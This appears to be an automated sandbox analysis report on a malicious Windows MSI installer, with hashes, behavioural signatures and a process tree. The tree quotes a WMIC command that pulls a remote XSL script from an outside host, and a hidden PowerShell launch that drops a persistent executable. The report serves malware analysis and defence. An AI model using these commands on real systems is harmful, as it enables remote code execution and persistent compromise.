Analysis
-
max time kernel
111s -
max time network
124s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
17-11-2021 14:37
Static task
static1
Behavioral task
behavioral1
Sample
test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
Resource
win10-en-20211104
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
test/0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc
Resource
win10-en-20211104
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
test/91B5DB3C0CCBD68BD04C24571E27F99D.msi
Resource
win10-en-20211104
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
test/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10-en-20211014
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral5
Sample
test/fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win10-en-20211104
windows10_x64
0 signatures
0 seconds
General
-
Target
test/91B5DB3C0CCBD68BD04C24571E27F99D.msi
-
Size
277KB
-
MD5
91b5db3c0ccbd68bd04c24571e27f99d
-
SHA1
b01cb4fe38315d41fcbe9c6278ebe4574496ab0d
-
SHA256
ec85138598c57c6a6bdb5ed470614f582d3b5a8c6b243eb2f41b9970ea13d130
-
SHA512
9f0b07f961625fcc06ee64fcfe5e35e0d40db81f75c3cbc584434c1925fac241db69cac3c1a1bf329d965a4df9bdaa53c13bb8ea3206e2c9d4facf7f74ba21b7
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 4 IoCs
flow pid Process 10 1280 MsiExec.exe 19 664 WMIC.exe 21 1548 MsiExec.exe 22 1336 powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 1372 lcB363.tmp 1340 nvsmartmaxapp.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nvsmartmaxapp.lnk powershell.exe -
Loads dropped DLL 7 IoCs
pid Process 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1548 MsiExec.exe 1340 nvsmartmaxapp.exe 2360 wmplayer.exe 2360 wmplayer.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 29 ip-api.com -
Drops file in Windows directory 11 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIB345.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB47F.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIB693.tmp msiexec.exe File created C:\Windows\Installer\f759ed1.msi msiexec.exe File opened for modification C:\Windows\Installer\f759ed1.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIB20C.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{B7E63CAC-805B-4255-A63C-38D579B3EEAB} msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIAF3C.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1640 msiexec.exe 1640 msiexec.exe 1336 powershell.exe 1336 powershell.exe 1336 powershell.exe 1336 powershell.exe 2360 wmplayer.exe 2360 wmplayer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2812 msiexec.exe Token: SeIncreaseQuotaPrivilege 2812 msiexec.exe Token: SeSecurityPrivilege 1640 msiexec.exe Token: SeCreateTokenPrivilege 2812 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2812 msiexec.exe Token: SeLockMemoryPrivilege 2812 msiexec.exe Token: SeIncreaseQuotaPrivilege 2812 msiexec.exe Token: SeMachineAccountPrivilege 2812 msiexec.exe Token: SeTcbPrivilege 2812 msiexec.exe Token: SeSecurityPrivilege 2812 msiexec.exe Token: SeTakeOwnershipPrivilege 2812 msiexec.exe Token: SeLoadDriverPrivilege 2812 msiexec.exe Token: SeSystemProfilePrivilege 2812 msiexec.exe Token: SeSystemtimePrivilege 2812 msiexec.exe Token: SeProfSingleProcessPrivilege 2812 msiexec.exe Token: SeIncBasePriorityPrivilege 2812 msiexec.exe Token: SeCreatePagefilePrivilege 2812 msiexec.exe Token: SeCreatePermanentPrivilege 2812 msiexec.exe Token: SeBackupPrivilege 2812 msiexec.exe Token: SeRestorePrivilege 2812 msiexec.exe Token: SeShutdownPrivilege 2812 msiexec.exe Token: SeDebugPrivilege 2812 msiexec.exe Token: SeAuditPrivilege 2812 msiexec.exe Token: SeSystemEnvironmentPrivilege 2812 msiexec.exe Token: SeChangeNotifyPrivilege 2812 msiexec.exe Token: SeRemoteShutdownPrivilege 2812 msiexec.exe Token: SeUndockPrivilege 2812 msiexec.exe Token: SeSyncAgentPrivilege 2812 msiexec.exe Token: SeEnableDelegationPrivilege 2812 msiexec.exe Token: SeManageVolumePrivilege 2812 msiexec.exe Token: SeImpersonatePrivilege 2812 msiexec.exe Token: SeCreateGlobalPrivilege 2812 msiexec.exe Token: SeRestorePrivilege 1640 msiexec.exe Token: SeTakeOwnershipPrivilege 1640 msiexec.exe Token: SeRestorePrivilege 1640 msiexec.exe Token: SeTakeOwnershipPrivilege 1640 msiexec.exe Token: SeIncreaseQuotaPrivilege 664 WMIC.exe Token: SeSecurityPrivilege 664 WMIC.exe Token: SeTakeOwnershipPrivilege 664 WMIC.exe Token: SeLoadDriverPrivilege 664 WMIC.exe Token: SeSystemProfilePrivilege 664 WMIC.exe Token: SeSystemtimePrivilege 664 WMIC.exe Token: SeProfSingleProcessPrivilege 664 WMIC.exe Token: SeIncBasePriorityPrivilege 664 WMIC.exe Token: SeCreatePagefilePrivilege 664 WMIC.exe Token: SeBackupPrivilege 664 WMIC.exe Token: SeRestorePrivilege 664 WMIC.exe Token: SeShutdownPrivilege 664 WMIC.exe Token: SeDebugPrivilege 664 WMIC.exe Token: SeSystemEnvironmentPrivilege 664 WMIC.exe Token: SeRemoteShutdownPrivilege 664 WMIC.exe Token: SeUndockPrivilege 664 WMIC.exe Token: SeManageVolumePrivilege 664 WMIC.exe Token: 33 664 WMIC.exe Token: 34 664 WMIC.exe Token: 35 664 WMIC.exe Token: 36 664 WMIC.exe Token: SeIncreaseQuotaPrivilege 664 WMIC.exe Token: SeSecurityPrivilege 664 WMIC.exe Token: SeTakeOwnershipPrivilege 664 WMIC.exe Token: SeLoadDriverPrivilege 664 WMIC.exe Token: SeSystemProfilePrivilege 664 WMIC.exe Token: SeSystemtimePrivilege 664 WMIC.exe Token: SeProfSingleProcessPrivilege 664 WMIC.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2812 msiexec.exe 2812 msiexec.exe -
Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 1640 wrote to memory of 1280 1640 msiexec.exe 70 PID 1640 wrote to memory of 1280 1640 msiexec.exe 70 PID 1280 wrote to memory of 664 1280 MsiExec.exe 71 PID 1280 wrote to memory of 664 1280 MsiExec.exe 71 PID 1640 wrote to memory of 1548 1640 msiexec.exe 73 PID 1640 wrote to memory of 1548 1640 msiexec.exe 73 PID 1640 wrote to memory of 1548 1640 msiexec.exe 73 PID 1548 wrote to memory of 1372 1548 MsiExec.exe 74 PID 1548 wrote to memory of 1372 1548 MsiExec.exe 74 PID 1548 wrote to memory of 1372 1548 MsiExec.exe 74 PID 664 wrote to memory of 1336 664 WMIC.exe 76 PID 664 wrote to memory of 1336 664 WMIC.exe 76 PID 1336 wrote to memory of 1340 1336 powershell.exe 79 PID 1336 wrote to memory of 1340 1336 powershell.exe 79 PID 1336 wrote to memory of 1340 1336 powershell.exe 79 PID 1340 wrote to memory of 2360 1340 nvsmartmaxapp.exe 80 PID 1340 wrote to memory of 2360 1340 nvsmartmaxapp.exe 80 PID 1340 wrote to memory of 2360 1340 nvsmartmaxapp.exe 80 PID 1340 wrote to memory of 2360 1340 nvsmartmaxapp.exe 80
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\test\91B5DB3C0CCBD68BD04C24571E27F99D.msi1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2812
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 1FCFF782A8B7F921CBB119A3792D68262⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\System32\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" process get executablepath^,status /format:"http://barbosaoextra.com.br/dados/noticia/7/imagem/noar.xsl"3⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:664 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\Admin.ps1" -WindowStyle Hidden4⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Users\Admin\AppData\Roaming\vcyPK\nvsmartmaxapp.exe"C:\Users\Admin\AppData\Roaming\vcyPK\nvsmartmaxapp.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Program Files (x86)\Windows Media Player\wmplayer.exe"C:\Program Files (x86)\Windows Media Player\wmplayer.exe"6⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2360
-
-
-
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 90B5C0E413FE41B3938E300BDBD5F4902⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1548 -
C:\Users\Admin\AppData\Local\Temp\lcB363.tmp"C:\Users\Admin\AppData\Local\Temp\lcB363.tmp"3⤵
- Executes dropped EXE
PID:1372
-
-